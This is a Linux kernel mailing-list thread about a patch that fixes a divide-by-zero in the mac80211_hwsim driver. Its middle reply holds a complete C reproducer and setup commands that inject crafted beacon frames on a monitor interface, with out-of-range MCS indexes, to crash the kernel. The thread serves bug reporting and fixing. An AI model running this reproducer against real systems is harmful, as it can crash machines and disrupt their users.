[PATCH wireless] wifi: mac80211_hwsim: avoid division by zero in mac80211_hwsim_write_tsf()

[PATCH wireless] wifi: mac80211_hwsim: avoid division by zero in mac80211_hwsim_write_tsf()

[Serhat Kumral]

mac80211_hwsim_write_tsf() adjusts the timestamp of beacon, probe
response and S1G beacon frames by dividing a constant by the legacy
bitrate of the selected tx rate, e.g.:

	mgmt->u.probe_resp.timestamp =
		cpu_to_le64(sim_time + data->tsf_offset +
			    24 * 8 * 10 / bitrate);

bitrate is taken from ieee80211_get_tx_rate(), which indexes the band's
legacy bitrates[] table by control.rates[0].idx without checking the
HT/VHT/S1G MCS flags or the table bounds. For an MCS rate the idx is not
a legacy-rate index, so the returned rate can have a bitrate of 0. The
code only guarded against a NULL rate, not a zero bitrate, so the
division can divide by zero. As the call trace shows, this is reachable
from user space by injecting a frame on a monitor interface:

	divide error: 0000 [#1] SMP KASAN NOPTI
	RIP: 0010:mac80211_hwsim_write_tsf+0x3a3/0x590
	Call Trace:
	 mac80211_hwsim_tx_frame_no_nl+0x16b/0x1760
	 mac80211_hwsim_tx+0x1784/0x2500
	 ieee80211_tx_frags+0x3df/0x890
	 ieee80211_monitor_start_xmit+0xb33/0x1280
	 __dev_queue_xmit+0x1435/0x37f0
	 packet_sendmsg+0x3d95/0x5040

Fixing this in ieee80211_get_tx_rate() is not viable: callers such as
ath5k and adm8211 dereference its return value without a NULL check, so
making it return NULL for MCS rates would only move the crash elsewhere.
Keep the fix local and fall back to the existing default of 100 whenever
the reported bitrate is zero, in line with the existing "/* TODO: get
MCS */" note above.

Fixes: e75129031f1c ("wifi: mac80211_hwsim: move timestamp writing later in the datapath")
Reported-by: syzbot+21629c14aa749636db9d@syzkaller.appspotmail.com
Closes: https://syzkaller.appspot.com/bug?extid=21629c14aa749636db9d
Signed-off-by: Serhat Kumral <serhatkumral1@gmail.com>
---
 drivers/net/wireless/virtual/mac80211_hwsim_main.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/net/wireless/virtual/mac80211_hwsim_main.c b/drivers/net/wireless/virtual/mac80211_hwsim_main.c
index 0dd8a6c85953..c745395d2042 100644
--- a/drivers/net/wireless/virtual/mac80211_hwsim_main.c
+++ b/drivers/net/wireless/virtual/mac80211_hwsim_main.c
@@ -1604,7 +1604,7 @@ static void mac80211_hwsim_write_tsf(struct mac80211_hwsim_data *data,
 	spin_lock_bh(&data->tsf_offset_lock);
 
 	txrate = ieee80211_get_tx_rate(data->hw, info);
-	if (txrate)
+	if (txrate && txrate->bitrate)
 		bitrate = txrate->bitrate;
 
 	if (skb->len >= offsetofend(typeof(*mgmt), u.probe_resp.timestamp) &&
-- 
2.54.0

Re: [PATCH] wifi: mac80211_hwsim: avoid division by zero in mac80211_hwsim_write_tsf()

[Hojun Choi]

Tested-by: Hojun Choi <ghwns6743@gmail.com>

Thanks for the fix. I confirmed it with a standalone reproducer that
injects a beacon on a monitor interface with a radiotap MCS index past
the band's n_bitrates. The bitrates[] read then goes past the table but
stays inside struct mac80211_hwsim_data (so KASAN is quiet), lands on a
0 .bitrate, and write_tsf() ends up doing 1920 / 0.

Without the patch:

    Oops: divide error: 0000 [#1] SMP KASAN PTI
    RIP: 0010:mac80211_hwsim_write_tsf+0x476/0x5e0
    Call Trace:
     mac80211_hwsim_tx_frame_no_nl
     mac80211_hwsim_tx
     [...]
     ieee80211_monitor_start_xmit

With the patch applied, the same injection no longer crashes (tested on
mainline, 502d801f0ab0).

The commit message explains why ieee80211_get_tx_rate() itself isn't
changed (ath5k/adm8211 and others dereference it without a NULL check).
Is hardening those callers, so the index could be bounds-checked
centrally, worth doing as a follow-up -- or is the per-driver guard the
preferred direction? Happy to help with the legwork if it's useful.

Setup and build:

    iw phy phy0 interface add mon0 type monitor
    ip link set mon0 up
    iw dev mon0 set channel 6
    cc -o repro repro.c && ./repro mon0

(mon0 must be on a live channel, or the frame is dropped before xmit.)

The syzbot dashboard has no reproducer for this bug, so here is a
standalone one:

/*
 * repro.c -- divide error in mac80211_hwsim_write_tsf
 *
 * write_tsf does 1920 / txrate->bitrate for a beacon. The bitrate comes from
 * ieee80211_get_tx_rate(), which indexes bands[band]->bitrates[idx] checking
 * only idx >= 0 -- never idx < n_bitrates. A radiotap MCS index past the table
 * reads an adjacent slot in the same heap object (so KASAN is silent); when
 * that slot reads 0, the divide faults. We sweep 12..127 (8..127 on 5/6GHz).
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <endian.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <netpacket/packet.h>
#include <linux/if_ether.h>

enum
{
	Rtmcs	= 0x00080000,
	Havemcs	= 0x02,
	Beacon	= 0x80,
	Burst	= 32,
};

typedef struct Frame Frame;
struct Frame
{
	unsigned char	rtversion;
	unsigned char	rtpad;
	unsigned short	rtlen;
	unsigned int	rtpresent;
	unsigned char	mcsknown;
	unsigned char	mcsflags;
	unsigned char	mcsindex;
	unsigned char	rtpadend;

	unsigned char	fc;
	unsigned char	flags;
	unsigned short	duration;
	unsigned char	da[6];
	unsigned char	sa[6];
	unsigned char	bssid[6];
	unsigned short	seq;

	/* beacon body -- tsf's end (32B) clears the write_tsf length gate */
	unsigned long long	tsf;
	unsigned short	interval;
	unsigned short	capab;
} __attribute__((packed));

void
die(char *s)
{
	perror(s);
	exit(1);
}

void
fill(Frame *f)
{
	memset(f, 0, sizeof *f);
	f->rtlen = htole16(12);
	f->rtpresent = htole32(Rtmcs);
	f->mcsknown = Havemcs;
	f->fc = Beacon;
	memset(f->da, 0xff, 6);
	memset(f->sa, 0x02, 6);
	memset(f->bssid, 0x02, 6);
	f->tsf = htole64(0x05e6b0);
	f->interval = htole16(100);
	f->capab = htole16(0x0021);
}

int
main(int argc, char **argv)
{
	char *iface, *colon;
	int fd, kmsg, lo, hi, idx, i;
	struct ifreq ifr;
	struct sockaddr_ll to;
	Frame f;

	iface = argc > 1 ? argv[1] : "mon0";
	lo = 12;
	hi = 127;
	if(argc > 2){
		colon = strchr(argv[2], ':');
		lo = atoi(argv[2]);
		hi = colon ? atoi(colon + 1) : lo;
	}

	fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if(fd < 0)
		die("socket");

	memset(&ifr, 0, sizeof ifr);
	strncpy(ifr.ifr_name, iface, IFNAMSIZ - 1);
	if(ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
		die(iface);

	memset(&to, 0, sizeof to);
	to.sll_family = AF_PACKET;
	to.sll_ifindex = ifr.ifr_ifindex;
	to.sll_protocol = htons(ETH_P_ALL);

	kmsg = open("/dev/kmsg", O_WRONLY | O_CLOEXEC);

	fill(&f);

	/* the injection: send a beacon at each MCS index, sweeping past n_bitrates */
	for(idx = lo; idx <= hi; idx++){
		f.mcsindex = idx;
		if(kmsg >= 0)
			dprintf(kmsg, "repro: mcs=%d\n", idx);

		for(i = 0; i < Burst; i++)
			if(sendto(fd, &f, sizeof f, 0, (struct sockaddr*)&to, sizeof to) < 0)
				die("sendto");
	}
	return 0;
}

Re: [PATCH wireless] wifi: mac80211_hwsim: avoid division by zero in mac80211_hwsim_write_tsf()

[Serhat Kumral]

Thanks a lot for the independent confirmation and for tracking down the
exact mechanism -- the OOB read landing inside struct mac80211_hwsim_data
(via sband->bitrates = data->rates) explains precisely why KASAN stays
quiet. Appreciate you sharing the reproducer too.

On hardening ieee80211_get_tx_rate() centrally: I'd defer to Johannes on
the preferred direction, since it touches callers across several drivers
(ath5k, adm8211, and likely others) that currently dereference the
return value without a NULL check -- any change there needs an audit of
all of them, which felt out of scope for this fix. If it's considered
worth doing, I'd be happy to help with that audit.